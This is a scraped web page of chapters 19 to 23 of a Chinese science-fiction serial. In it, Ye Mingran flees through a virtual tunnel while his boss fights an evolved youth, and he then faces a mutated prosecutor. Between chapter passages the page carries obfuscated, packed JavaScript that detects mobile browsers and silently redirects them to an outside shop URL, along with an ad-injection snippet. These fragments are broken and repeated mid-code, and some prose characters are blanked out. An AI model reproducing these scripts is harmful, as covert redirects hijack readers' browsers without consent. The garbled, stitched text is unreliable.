;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721304|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶明冉想。 他深深吸了一口气，一口气把那片衣角掀了起来。 衬衫被拉开时，发出一阵让人不愉快的轻响，仿佛那不是一块布料，而是血肉。 老板发出一种轻微却显然是压抑住了的闷哼，但是随即表情一下子放松下来。 “你……”叶明冉还没说完，只见老板睁开眼睛，有气无力地用目光示意他往下看。 叶明冉看了一眼，随即倒抽了一口冷气。 只见老板腹部的伤口已经止住了血。 他再去看那块衣角，发现它原来被卡在了长出来的新肉里，阻碍着伤口的恢复。 这惊人的恢复能力，让叶明冉想起了之前和猎犬对上的日子。 猎犬也是因其出色的恢复力而极其难缠，叶明冉“接私活”只敢挑落单的猎犬下手，一旦他们成群结队聚集起来，叶明冉就会逃之夭夭。 只是，就算从猎犬身上，叶明冉也没有见过这么惊人的恢复力。 止血后，老板的伤口正在以肉眼可见的速度长出新肉。 叶明冉向后退了一步，后背触到了冰冷的门板。 刚才门被带上了，而门从来里面没法打开。 “你到底是谁？”叶明冉想起了什么，偷偷的伸出一只手在身后摸索到了一个冰冷的东西——那是被称为古典时期的那个装饰。 沉沉的门栓果然是铁铸成的，如果考虑到它的重量，叶明冉觉得自己有了一点安全感。 这时候，老板的伤口已经完全愈合了，只是破开的血痕还在狰狞地绽放着。 “叶明冉，你听我说……”他好像还站不起来，声音听上去还是有点有气无力，但是已经不是刚才死气沉沉的样子。 叶明冉眼色一沉，迅速往前走了三步，“不要再试图拖延时间了……”他居高临下地看着老板，一瞬间眼前浮现出了旧友的影子。 然而只是一瞬。 下一刻，老板眼里有戾气一闪而过，叶明冉直接把那根铁栓一句头顶，正准备以全力劈下去——忽然感觉到身后有一股异常的气息。 这种感觉很奇妙，因为他知道自己身后理应只有门板。 就是这片刻的迟疑，眼前的老板已经不知道从哪里来的力气，抱住了叶明冉的双腿把他往后一掀。 视野倒转的时候，叶明冉心头只浮现出一个念头——完蛋了。 他仿佛看到了老板惯常的那种微笑，没有表情像是在看什么没有生命的物体一样。 可是，当老板的侧脸映在他眼睛里时，他发现老板正在严肃地注视着前方，叶明冉顺着他的目光看过去，发现自己刚才站得地方居然插了一根乌黑尖锐的刀柄。 那“刀柄”居然还动了一下，叶明冉刚意识到这可能是什么活物，就头朝下地重重地摔在了地上。 地下室的地面是石板铺成，叶明冉觉得自己都快要脑震荡了，同时脑门热辣辣地疼，看来是流血了。 本能让他感到的巨大危险让他在立刻跌跌撞撞地爬了起来。 一片血红的视线里，他看到了他原来站的地方稍微后面的位置居然站了一个“人”。 20. 第 20 章 叶明冉下意识紧紧地握住了手头唯一的武器，忽然意识到中指上那个熟悉的硌人的感觉已经消失了。 还得坚持下去。叶明冉想。 已经走到了这里，现在已经不是考虑巨蛋或者什么记忆的时候了。 他深深吸了一口，摒弃了心里那等待着老板来帮忙的软弱想法。 他知道并不是没有胜算的。 少年见老板不在言语，这才看了一眼叶明冉。 “我哥因为给你的那个芯片，被判了反人类罪。是你告发了他，为了洗脱自己的罪名。”他用的是肯定的语气，丝毫没有在征求叶明冉的看法。 “反人类罪？”叶明冉重复了一遍，从记忆的深处挖出了这个词语，“什么意思？” 我才是被判反人类罪并且被莫名其妙保释在巨蛋的吧？叶明冉茫然地想。 为什么之后就没有人提起了呢。 反人类罪这个名词，似乎已经遥远到叶明冉自己都忘了。 “不要装了，谁都知道你是为了洗脱自己的罪名找了一个替罪羊！那个芯片基本是无害的，并且从一定程度上还算在保护你。反正你脑子里面原来那个东西被发现了也是死路一条。” 是这样吗？叶明冉想。那你怎么不跑去告发我呢？这样不是省了亲自跑来找我的力气? 然后他看了看少年，忽然想到少年和他哥哥在决定跟随boss时就已经和巨蛋决裂了。 “洗脱嫌疑的生活是不是很惬意？脱离了极刑的人生是不是很轻松?”少年问道，叶明冉发现他眼睛似乎因为极端愤怒而有点发红。 “极刑到底是什么？”叶明冉忍不住问道。 “……”少年一直安静垂在身侧的手臂上忽然曝出了狰狞的青筋，与其说是青筋不如说他的手臂上面有某种东西在生成。 “离远点，他在进化！”身后老板忽然出声提醒，叶明冉不由自主地听着他的声音往后推了几步——可是身后是门板，他已经无路可退。 “极刑确实可以抹消一个人的存在。我们原本都应该忘了他。可是，你并没有失去他，你和他共同拥有记忆，你也是他最棒的作品。因为你，我们才能够记住他。”老板对少年说道。 少年闻言愣了一下，可是迷茫很快消失殆尽：“你骗我。他的存在并不是因为你们，而是因为我，他与我同在。如果你与我合作，我们会是盟友。而他，是需要为此付出代价的对象。” 叶明冉倒抽了一口冷气，并不是为了少年的宣言，而是因为第一次知道了极刑的内容。 难怪没有人可以说出极刑的内容，只是留下一个可怕的传言。 □□的死亡弯镰刀咬咬牙可以忍耐；精神的刑罚虽然让叶明冉觉得痛苦，但是痛苦之后会更加坚韧。 即使是死亡，人们也会随着记忆存活在世上——这是叶明冉通过国民记忆库看到的。 可是存在抹消呢？就是不仅仅□□不存在世上，精神也消失，同时还被这个世界忘却。 被曾经认识的每一个人忘却。 一向无所畏惧的叶明冉，不得不承认自己在听到这个词的时候产生了一种难以言喻的恐惧。 他这才意识到自己被迁入了一个难解的局里——到底是谁伪造了自己的“告发”，并帮着自己洗去了反人类罪的档案。那个人又有什么目的呢？ 叶明冉看着眼前两个“守门人”，估量着胜算。 少年的进化，以一种肉眼可见的可怕速度进行着——与手指一样的材质的冷硬光芒已经蔓延到了他的手臂上，并且即将蔓延到肩膀。 进化就是，整个人都变成一个无坚不摧的武器么？叶明冉忽然冒出一个不合时宜的想法。 情势却不允许他开这个玩笑。少年沉默地拖着他的手臂，只是一步一步地逼近叶明冉，摒弃了他一切逃脱的可能。 叶明冉握紧了手头唯一的武器。 少年抬起的手臂如同死神举起的弯镰—— 这时候，“轰隆！”地面忽然剧烈震动了一下，仿佛有什么塌陷的声音传来了。 少年没有掌握好平衡身体一歪，这时候叶明冉灵活地绕过了少年，却不敢再往后走一步——因为老板正在身后虎视眈眈。 地下室里腾起了久积的灰尘，深处传来了碎石掉落的声音，似乎是内部的什么地方发生了塌方。 在场的三个人都敏锐地嗅到了变数的味道。 “你还在等什么？”少年对着叶明冉后面的老板说道。 叶明冉感觉到身后有一阵劲风袭来，可是他无路可退。 叶明冉以前在街斗时肩膀被猎狗的爪子不小心撩到过，后来回去之后青了好几天。 如果正面被打倒叶明冉觉得自己估计站不站得住还是个问题。 叶明冉从正面少年毫无反应的表情已经知道了后面那个是老板。 对有些人而言，友谊和道义在利益和活命面前值得一提。 叶明冉微微调节了下身体的角度，同时将那根不知道是什么做的铁棒反架在肩膀上，从背部横过。 这一次只能硬扛，再找机会绕过去——如果还活着的话。 带起的劲风刮得叶明冉脖子生疼，同时他发现手里唯一的武器被一个巨大的力道了过去。 只是想象中的疼痛并没有降临。 叶明冉觉得自己被轻轻地推了一下，甚至不用踉跄就站稳了。 而老板的目标是少年—— 太快了，叶明冉只看到一团影子一样的轮廓，一点也不像个刚才还在奄奄一息的人。 残影和惊讶在少年眼里一闪而过，他只来得及狼狈地抬起手臂。 “哐……”一声，金属碰撞的声音一直钻到叶明冉耳膜的深处。 铁棒半个头嵌入了手臂里，而少年居然用整条手臂撑住了。 “这个虽然不知道是什么做的，但是刚才能敲碎我的‘刀’表明确实很硬。不过，那只是相当于我的手指而言。”少年说道，丝毫不在乎手臂上嵌着个东西，抬手推了一下。 老板的脚步不可察觉地退了一步，然而就是那一小步里，叶明冉看到了他们的差距。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733454|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 说少年是进化体也许是真的。 只是，老板这个时候做出这样的行动，又是为了什么呢？ “你……”叶明冉话还没有问出口，只听见老板说了一句，“快走！” 同时老板手迅速暴涨成了刚才少年的模样。 五指化作刀刃，仿佛要将少年禁锢在地上一样。铁棒哐当一声掉在了地上。 老板用一根“手指”将它挑起来，直接向着叶明冉掷了过去。叶明冉呆呆的接住了。 “可惜了……”如果到现在少年不懂，那他就要么就是十分愚蠢要么就是十分天真。可这两者都在他决定报复的时候消失无踪了。 “你是什么意思……”叶明冉呆呆地看着撤开三步的老板，看不见他的表情，但是从背影和脚步上面看得出他站的并不稳。 叶明冉感觉他似乎勉强笑了一下，“那个是我的骨头做的，比这小子的手要硬，你可以拿去做个纪念。” 少年惊讶地问道，“你真的……不要命了？” 老板嗤嗤地笑了一声，“叶明冉，后面看到洞穴就往右拐，她所在的地方现在没有守门人……” “你们休想……”少年瞬间狂暴起来，直接想去追叶明冉，却被一根尖细的刀指住了咽喉。 “年轻人可以先和我玩玩。”老板说，他最后和叶明冉说了一句，“你先走，她会告诉你所有的事情。” 叶明冉觉得眼前似乎模糊了起来，他看了一眼手头其貌不扬的棍子，可是身体已经不由自主地转了一个方向。 “哈哈哈哈哈，原来你是被个女人给收买了。我就说呢。”少年看人的眼神如同蝼蚁，“你这个样子还想挡住我?你肚子上那个洞只是表面堵上了吧？内脏长好了么？稍微动一下就出血还是算了吧。就是守门人，也是会死的。” 老板对少年的话不置可否，却向前走了一步，彻底挡在了叶明冉和少年前面。 “你哥哥生前没有教过你，大话要等赢了再说么？”老板平静地说道。 “哥哥”这个词是少年心里永远不能触及的伤口，“你这么想死！”一瞬间怒火席卷了他，他完全放弃了叶明冉把火力转到了老板身上。 “快走啊！”这是叶明冉听到老板说的最后一句话，然后他们的身影缠斗在一起。 守门人之间的战斗，动作快得叶明冉几乎看不清楚。 身体似乎比感性更加知道事情的轻重。 叶明冉抹了用力地抹了一下眼睛，地下道黑暗的道路清楚了一点，他把来自老板的馈赠握得死紧，费劲全身力气，才阻止自己去听背后刀刃相交的声音和少年的怒吼。 叶明冉踉踉跄跄地在黝黑一片的地道中前行，仿佛是逃离一般。 他总觉得老板最后隐隐约约说了一句什么，在刀刃相接的时候根本听不清楚，可叶明冉觉得他说的是：“别回头。” 回头，叶明冉觉得自己也是没有勇气回头的。 老板刚才的声音一直停留在他脑海里，而他的脚步就像是跟随着那个声音前行一样，“右边”。 21. 第 21 章 “你这个……懦夫”叶明冉听到自己心底浮起的鄙视，可是脚步却是一刻不停地向着地道的深处奔跑。 “马上，我就可以见到她了。”这个念头像一缕细细的烟雾，在短短的时间里面占据了叶明冉的思维的全部。 好像只要这一个念头存在，就可以拂去他心里的不安和愧疚，让他心无旁骛地走下去一样。 叶明冉走了将近半个小时，眼睛适应了周围的黑暗，这时候他才这个地下道里面其实有微弱的光源。 眼前并不是一片漆黑，叶明冉发现如果他凑近是可以看到这条地下道的墙壁是由石头所构成的。 他摸了摸石头，发现上面蒙了一层很厚的煤灰一样的尘埃。 这个地道的历史可能非常的长久,长久到不可能是老板他们宣布组织解散，重新在A区与B区崛起后建立起来的。 至于地道里面微弱光源的来源——叶明冉觉得似乎是地面本身在发光。地下显然不存在所谓的能源来维持这种照明，那这里的光源是从哪里来的呢。 叶明冉忽然想起一个似曾相识的画面。巨蛋的操作室里，国民记忆库的那个虚拟空间也给过他类似的感觉。 他忽然觉得这个隧道有点不真实。 少年所说的地图，如果可以通过记忆的方式传递的话，那是不是表示这个空间本身也是个类似于操作室的东西呢？ 叶明冉试着在脑子里面想象了一下灯火通明的情景——如果这是一个相同的空间，那在其中的人应该会有权限去改变它。 地面上的微光闪闪烁烁，没有任何变化。 叶明冉知道了，自己没有接入这里面的权限。这就表示，或许有一个拥有这种权限的人在别处存在着。 想到这里，叶明冉仿佛可以感觉到有视线一直注意着自己，这让他有点毛骨悚然。 “你是谁？叶明冉对着空荡荡的隧道喊了一声。 没有回答，也没有回声——叶明冉瞬间知道了自己的猜测是对的，这确实不是一个现实存在的空间。 阳光海岸的小破屋和地下室相连接，老板和少年所在的地方应该还都是真实空间。 到底是从什么时候开始他进入了这个虚拟的空间呢？叶明冉自己都没有察觉到。 这时候他忽然意识到自己手上拿着的东西——老板送给他防身的武器消失不见了。 一个大胆的想法从叶明冉脑海里冒了出来——看来“守门人”的骨头是可以作为钥匙的。 所以说，这个空间的主人有可能是老板。想到这里，叶明冉觉得自己的心跳忽然变得不那么剧烈了。 他也想明白了为什么老板让他一直往右边走的原因。 如果是真正的为了掩饰什么而存在的地下道，必然设计得十分复杂，不了能存在永远选右就能达到终点的情况。 但是如果老板知道地下道真正的构造，用自己的虚拟空间构建出一条只要永远选右就保证正确的道路，是完全可能的。 想到这里，叶明冉心中燃起了微弱的希望的火苗，这个空间还存在着，就表示他的支配者还活着。 因为空间是会随着拥有人的消灭而坍塌的。 这时候，叶明冉同时又想，会不会这里还会有某种标记来表明这条路途的长短，就像是高速公路上的计速路标一样。 叶明冉对着下个拐角口的半人高的石头打量了一番，果然在内侧发现一个小小的时刻数字，50。 这个50是什么意思？叶明冉几乎是飞奔到了下一个路口，同样在拐弯处很不起眼的地方发现了一个很小的数字，49。 这时候叶明冉回头一看，发现他走过的路居然都已经消失了。 看来选右边是一条把他引向什么的单行道。 越深入数字就越小，如同倒计时一样，只要到了终点—— 叶明冉用尽全力奔跑起来。 只有能够快点走出这里，也许他在见到她之后还来得及去阻止老板和少年的那场因自己而起的恶战。 48，47……30，29…… 叶明冉已经无暇去一一看那个标记的数字了，而是每跑过一个路口就在心里默数。 漆黑一片的隧道此刻仿佛知道了他的想法一般，慢慢变得开阔起来，仿佛是一种温柔的守护一般。 眼前的道路越来越明亮，也越来越开阔，仿佛向他预示着终点就在眼前一样。 5，4，3，2 前方的道路越来越明亮，叶明冉居然觉得这道光线像阳光一样刺眼。 在地下出现这种光源几乎是不可能的，叶明冉眯起了眼睛。 1 叶明冉跑过最后一个路口，却发现前面没有拐弯的路。 取而代之的是一堆乱石，横七落八地碎在地上。同时，洞顶上开了一个大洞。 光线和新鲜空气正从那个破口汹涌地冲进来。 叶明冉忽然想到那时候那个如同地震一般的动静，难道就是因为这个大洞？到底是谁？发生了什么？ 叶明冉太过专注于思考，以至于没有听见隧道深处的动静。 直到听到一阵急促的脚步声，叶明冉才连忙想着躲起来。 “是谁在哪里？不许动。”可惜迟了一步，对方已经发现他在这里了。 四周是一片开阔空间，后退的路早已经被关闭，反正也无处可躲。 叶明冉屏住呼吸，凝视着声音传来的方向。 一群人从叶明冉想要进去的通道里面走了出来，叶明冉看到了他们身上熟悉的制服——是猎犬。 “你们怎么会在这里？”叶明冉脱口而出之后才意识到他问了一个蠢问题。这个听上去好像他和他们有什么渊源似的。 为首的一个猎犬长得有点矮，一看就是个小喽啰，听到叶明冉的问题，疑惑地“嗯？”了一声。 这是个生面孔。 此时叶明冉只希望不要有以前和他打过架的猎犬或者记得他的人在这一对人里面，不然在这里有什么私怨叶明冉一点也占不到便宜。 况且，他此刻在赶时间。 他的前面和后面都有人在等他。 “我……我也不知道我为什么会在这里……带我出去！”叶明冉忽然发出了一阵哀嚎，显得他好像受了很大的惊吓一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737998|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种做法叶明冉从前是不屑的，或者说根本不会去做的。 遇到猎犬或者他看不顺眼的对象，叶明冉从来都是正面硬抗——哪怕是虚伪的妥协在他看来也是妥协。 而此时，他却几乎没有思考就没有脱离带水地完成了他的“表演”。 因为他心里已经隐约明白了，他那点脆弱而表面的自尊，在他想要换的东西面前根本不值得一提。 有些东西，如果错过了，需要一生来后悔。 小喽啰被他忽然的变化吓了一跳，反而后退了一步，差点被碎石绊了一跤。 “不要乱叫，吓死老子了！”小喽啰抱怨了一声，随即转头。叶明冉知道他在自己看不见的地方大概有一副谄媚的表情，“老大，有个可疑人物在这里。是不是我们的解救对象？” “解救”。叶明冉听到这个词语，心里升腾起一股隐隐的希望。看来他们是来执行任务的。 “猎犬”是巨蛋的爪牙，他们需要解救的对象，一定是巨蛋的人。叶明冉脑子里面飞快闪过无数念头，包括怎么样在见到他们的“老大”的时候，巧妙地误导他们。 叶明冉集中精力听小喽啰给老大报告，只听到几个模糊的单词。大概是“监狱”，“反叛”，“解救”之类的。 这时候老大很不耐烦地说了一句，“我知道了。我去看看。” 叶明冉心里咯噔一跳，他总觉得这个声音在哪里听过。猎犬里面的熟人。叶明冉觉得自己的冷汗都流了下来。 只见那个“老大”就这么走出来，一步一步走向叶明冉。叶明冉发现对方居然带着面具，而且穿着厚厚的斗篷。 猎犬被改造后的□□强壮且代谢极快，所以他们一般都不畏寒，喜欢裸露肌肤。 叶明冉总觉得这个包得很厚的人有种难以言喻的违和感，而且不知为何叶明冉能闻到一股很轻微的腥臭味，不至于令人作呕但是非常不舒服。 他表面是不能露出什么厌恶的表情的，只好垂下眼睛装成瑟缩的模样，不与对方对视。 他感到那个“老大”的视线就像舌头一样舔上了他的脸，到脖子，到手臂，一点也不放过去。 “哈哈哈哈哈哈哈哈！哈哈哈哈哈哈哈哈！”被称为老大的人忽然像疯癫一样发出了一阵狂笑。他笑起来的时候叶明冉心里那种熟悉感又消失了。 因为叶明冉不认得有笑起来这么癫狂的人。他此刻保持着一个惊恐万分的被解救者应该有的小心翼翼和神经质，只抬眼看了一眼又迅速低下去。 那一刻，他们的眼光相对，叶明冉从里面看到了恨意和……狂喜？ 情势有点流年不利，可是叶明冉却不能再等下去了。 这个疯子还要盯着自己多久，“她”到底怎么样了，老板那里还能坚持么？ 叶明冉的手指几乎嵌入肉里，努力压抑着骨头咯咯作响的声音。 “快一点，再快一点。”他心里祈祷道。 仿佛听到了他心底的祷告，那个骇人的笑声终于停止了，叶明冉听到一个熟悉的嗓音。 “得来全不费工夫啊，我找了你快一天了，CI48865479号。” 22. 第 22 章 “检察官……你为什么会在这种地方，你的辖区域不是在A区么？”叶明冉惊讶地问道，同时知道今天这一遭恐怕是无法轻易过关了。 “这样话就好说了我现在正在执行和巨蛋有关的任务，但是不小心被人绑架到了这里。你身后就是监狱，里面有和我一样被绑架过来的国民，我可以带你们去解救。”熟人其实也有熟人的好处，叶明冉说话真假掺半说，料定了检察官没法识破。 谁知道检察官听完之后居然毫无反应，之后在叶明冉目光的催促下才开了口。 “你们去里面看一看，如果有人就救一下。”竟是对后面的猎犬们下命令。 “至于你，你以为我还会相信你的满嘴胡话?”他说得严厉，叶明冉却从中听出了愉悦——那是一种得意洋洋的让人毛骨悚然的愉悦。 “我已经不是反人类罪的嫌疑人了。”叶明冉提醒他道。 检察官轻轻“哼”了一声，“你以为，用见不得人的手法找个替罪羊给自己洗清嫌疑，陷害那些追求真相的人就可以逃过去了？” 替罪羊大概说的谁，叶明冉刚才已经知道，可是陷害?叶明冉觉得自己在没有察觉的时候落入了一个局里。 “我去追查你的案底，结果受到无数阻挠不说，还被调职到了A区和B区的边防。”检察官说，“你们以为这样就可以然后追查了？” 叶明冉皱着眉没有接他的话，“你为什么要带着面具?” 他一问，还留在后方的几个小喽啰明显哆嗦了一下。 检察官却从喉咙深处发出了满意的笑，“我呀，之前在A区的时候觉得自己的实力已经可以了，谁知道来到这附近发现出现了这么多异类，还一个个都那么强。所以我也不得不变得强一点，不是么？至于这个嘛。”他没有回答面具的事情，而是抬起左手，拿下了手套。 “看到了么，这是我的新武器。”叶明冉看过去，只看见他的手指也只剩下了骨头，那骨头居然散发着金属的冷光。 看上去和刚才少年的手指是一样的材质。 这意味着什么？ “你这是……做了什么？”叶明冉的声音有点发抖，一切扑朔迷离的未知后面隐藏的阴谋让他觉得有点发冷。 检察官却误以为是自己的新武器起到了威慑作用，“呵呵，我听我兄弟说，你在巨蛋里面做什么实验么？从你的地方搞出来东西你居然不清楚。也是，你可能完全靠运气。”他嘲讽里面带着得意。 “特别实验室真的没有骗我，他们说参加一次活体实验获得的比失去的要多。在没有试过之前我还以为这是个一般骗人牺牲贡献的把戏。你看，它无坚不摧。” 特别实验室……叶明冉忽然觉得这个名字有点熟悉，他隐约记得好像不许人进入的地方。只是那个地方存在感之低，让叶明冉根本没有起过去了解它的念头。 “特别实验室，到底是什么？” 他忽然向着毫无准备地叶明冉伸出了手，叶明冉慌忙一躲，心里却暗叫糟糕。 少年的手指可以伸出好几米长，这么近完全可以把他捅个对穿。却发现对方只是对着后面的墙壁下手。 叶明冉感觉一阵厉风划到脸上，却没有流血。 差的太多了。 叶明冉想。刚刚见过了两个守门人战斗的叶明冉，大概知道了就算是改造过的身体也有强和弱的区别。 比如少年的刀硬度并不如老板的骨头，在实战中的经验更是有很大的影响。 如果少年是个良好的改造品，老板算个一般的改造品，眼前的检察官只能算一个失败的半成品。 如果有武器——叶明冉想，眼角迅速扫了一下周围。 这时候他居然发现周围的景色有了一些变化，确切来说，周围的墙壁好像融化了一样。 叶明冉心里一跳，忽然想起了这个空间存在的理由，以及它开始变化所代表的意义。 “让我过去！”叶明冉眉头紧皱，流逝的时间像是勒着他的脖颈的绳索，让他不得不挣扎着去呼吸。 检察官露出饶有趣味的表情，“哦?看来里面真的有什么东西？”他向后摆了摆手，对着剩下的猎犬们说，“你们也去看看。” 小喽啰们面面相觑了一下，其中一个像是小头目的战战兢兢地问了一句，“您一个人不要紧么？” 检察官笑了一声，然后那个没眼色的小头目就被部下拉着逃得影子都不剩了。 叶明冉压抑着心底的焦急和怒火，“你放我过去。” 检察官抬起眼睛看了叶明冉一眼，“凭什么呢？” “你的责任不是维护国民的安全么？现在你的身后有一个人正在被囚禁，而另一个人正在陷入危险之中。我在这里不会逃也不会退开，你哪怕让我走在前面，你在后面看着我也行。”叶明冉的语气已经近乎恳切了。 检察官似乎认真的听着，一时间两个人之间弥漫着一种异常沉重的气息。 半晌，检察官问道，“那和我有什么关系？” 叶明冉不可置信地看着他。检察官仿佛为了嘲笑他的天真一样，毫不在意地重复了一遍，“你总是觉得我很好骗是不是?是不是以为我会因为一个真假难辨的理由放弃指控你的机会?” 叶明冉明显地感觉到，眼前这个检察官变了。“你就是为了针对我，放弃了你之前的原则?”他的声音有点发抖。 谁料检察官听完之后只是笑了笑，“原则?”他摇了摇头，你那么着急恐怕没什么好事吧？“让我的仇人痛苦是我目前遵循的一个原则，至于其他人怎么样，与我何干?”他看到叶明冉夹杂着愤怒与惊讶的脸，摇了摇头，“你这样看着我，让我更不想放你过去了。” 他话音刚落，只见叶明冉已经来到了他的面前，顺着他的脸就砸了下去。 检察官没有料到叶明冉这时候居然还不退反进，只来得及偏了一下头。 拳头擦过面具，那面具被掀得飞了出去。 叶明冉顺势迅速弯下腰，从地上的碎石里面捡了一块还算完整的砖块， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然后他抬头看了看检察官—— 面具下小半边脸已经变成了森森的白骨，眼眶空空荡荡的。他那极有特色的鹰钩鼻孤零零占据着脸的高点，让叶明冉勉强辨识出这是他认识的那个检察官。 “你……你……这是……”饶是叶明冉才见过鲜血淋漓的老板，也觉得眼前白骨化的脸庞很恐怖。毕竟，奄奄一息也是活着，而白骨只能让他想到死亡。 “这个么？这个是一点小小的代价。我还付得起，或者说我是赚到了。”然后他饶有趣味得看着叶明冉手上的砖块，“我还是挺佩服你的勇气的。” 叶明冉道，“对付你的手下们我心得多得很，是你不给我过才弄成这样的。”他话音未落，就发现手头一轻，只见眼前的砖块的轮廓居然变得模糊了。 这时候就是检察官也发现了不对，先是愣了一下然后反应过来，“挺有意思啊，这个空间居然有一半不是真实的?这又是一条可以用来日后指控你的铁证了。” 叶明冉却只是呆呆地看着手里的砖块，它仿佛一个冰块一样，用肉眼可见的速度消融着，同时又出现了另一个细长的东西微弱的轮廓。 不是的，不要这样。 叶明冉心里呼喊着，却只能看着这种变化。他知道，这是生命无可挽回的流逝。 周遭的景象也变了，地道的墙壁上宛若撕下了一层灰蒙蒙的墙纸，显示出来了原本的色彩。 叶明冉背后一旦走完就闭合的道路忽然打开，无路可退的地方显示出五六条蜿蜒的洞口。 每一条都是退路，但是每一条都通向未知——因为已经没有人会给他指引了。 手里的砖块慢慢融化，变成了一个细长的形状——是那把“钥匙”。 而现在，它已经恢复了原来的形态。因为他能够打开的空间已经消失了。 叶明冉呆呆的看着手头这根像门栓一样的棍子，觉得对老板所怀有的一切的不满和怀疑，嘲讽和不屑都随着那个空间的消逝而烟消云散。 只是心底悲愤的感情总是按捺不下，下一刻，叶明冉紧紧握住回到手上的武器，用骇人的力道向着检察官直接砸了过去。 叶明冉这种打法太过不要命，和他刚才惊恐的表情完全不相符，让他不由自主地愣了一下。 只是这一秒钟，叶明冉手上那根不知道是什么做的棍子就与他的手骨碰上了。 “咔嚓”一声，传来了一阵什么东西碎裂的声音。 检察官低头一看，发现自己的手骨弯成了一个不自然的形状，而那根棒子的头部已经前进了他的肉里。 叶明冉两眼发红，抓住棍子很用力地搅动了一下，竟然是把检察官小臂上的一块肉直接剜了下来。 检察官哼了一声，随即叶明冉却觉得有什么不对——他的手几乎被那一下捣烂了，却没有流出一滴血。 同时，那被他一棍子几乎敲裂的那只手好像一点都不知道痛一样，任由那根棍子捅了个对穿，腐烂的手指却伸过来直接抓住了叶明冉的脖子。 23. 第 23 章 “咳咳……”叶明冉感觉空气都被挤了出来，他感觉整个人都被举了起来，视角里面出现了检察官半咧的血红的嘴，露出一个狞笑。 手腕顿时脱力，叶明冉感觉那根棍子被手轻而易举地夺了过去，“这下，你逃不了。”叶明冉听到他说道。 随之脖子上的手又是一紧，叶明冉觉得他这个势头不像是想要掐死他而是想要直接扭断他的脖子。 只是因为刚才他的骨头裂了，也使不上力气，才使得叶明冉在这种介于窒息和颈骨被扭断的状态间徘徊。 看来检察官太过于熟悉这种困兽之斗的场面了，他甚至不打算换一只完好的手继续，就怕被叶明冉找到一点反击的机会。 叶明冉说不清是气管被压迫还是肺里热辣辣地感觉更加让他痛苦。 以前在巨蛋实验室里面所谓的精神死亡实验也没有让他这么痛苦过。 原来，□□的死亡是这样的?这次不会有人会给他复活。 他忽然想起弯镰刀来。叶明冉还记得他说的感觉是头脑一片空白，可是叶明冉却真真切切地觉得他心里还有事情未了。 可是，好累。眼皮很沉。如果在这里睡过去还有谁会唤醒我么？ “等一下！”忽然他听到一个声音，那个声音他好像听过无数次，却怎么也想不起来是谁。 对了，因为他每次都是在国民记忆库里面听别人记忆里头她的声音，每一次都不一样。 可是，你的声音为什么这么焦急呢？为什么你不能一如既往地优雅平静带着微笑呢？ 叶明冉这时候忽然感觉眼前的黑暗被粗暴地撕了开来，他甚至感到了炫目。 然后他感觉自己脖子上的禁锢松了开来，汹涌而入的新鲜空气呛到了他。 眼前还是模糊不清的，只是他隐约看到检察官已经转身背对着自己，似乎自己不值得一提，而那个声音的主人才是一切的中心一样。 “怎么是您?”检察官吃惊地问道。 叶明冉一愣，这个称号让他立刻明白了眼前是什么人，同时心里一沉。 “没什么，我就是想感谢你的救助。等下回去巨蛋我会为你申请荣誉勋章。” 叶明冉抬起头来，只看到一张并不熟悉的脸。 但是，她在这个时间这个地点出现在这里的事实，已经说明了她的身份。 叶明冉仔细地看了下她的脸，其实她的头发与叶明冉平时在别人家记忆里面看到的不一样。她把头发挽了起来，脸色有点苍白，衣服简陋却十分整洁，只有稍乱的额发和眼下的一丝阴影透露出一点不为人知的疲惫。 后面跟着一群小喽啰此时是一群可笑的衬托，他们都不敢向前。 “老……老大……还真的有人在里面，我们没拦住她过来。”小头目一边絮絮叨叨地解释着，一边哆哆嗦嗦地看了检察官一眼。 检察官却一点也没有慌乱，而是用阴郁的眼神看了她一眼，嘴上却毕恭毕敬地问道，“为什么您会在这里？” 叶明冉看到她轻轻地笑了，嘴角稍微扬起了一点，“我是被绑架来的，你的手下不是为了解救我而跑到这里来的么？” 检察官闻言这才稍微露出一点惊讶的神色，他没想到自己针锋相对对方反而给了一个台阶下。 其实检察官心里并不是没有顾虑，他的顾虑在于今天晚上他自己和队伍出现在B区阳光海岸的理由。 只要顺着这个台阶下去，他就可以把今天的这种异常行为归结于紧急事件。 只是这么做——他又看了一眼叶明冉，心想这小子无疑今天可以全身而退。 检察官不想让叶明冉全身而退。 在他看来，叶明冉就是一个潜伏在巨蛋里面的巨型炸弹，他原本是想方设法想去找把柄谁知道全被调离。 现在叶明冉和她两个人出现在这里，就更让检察官感到很好奇了。 然后他转身对小头目说，“这里面没你的事了，带另一对人去另一方向也探一探去。” 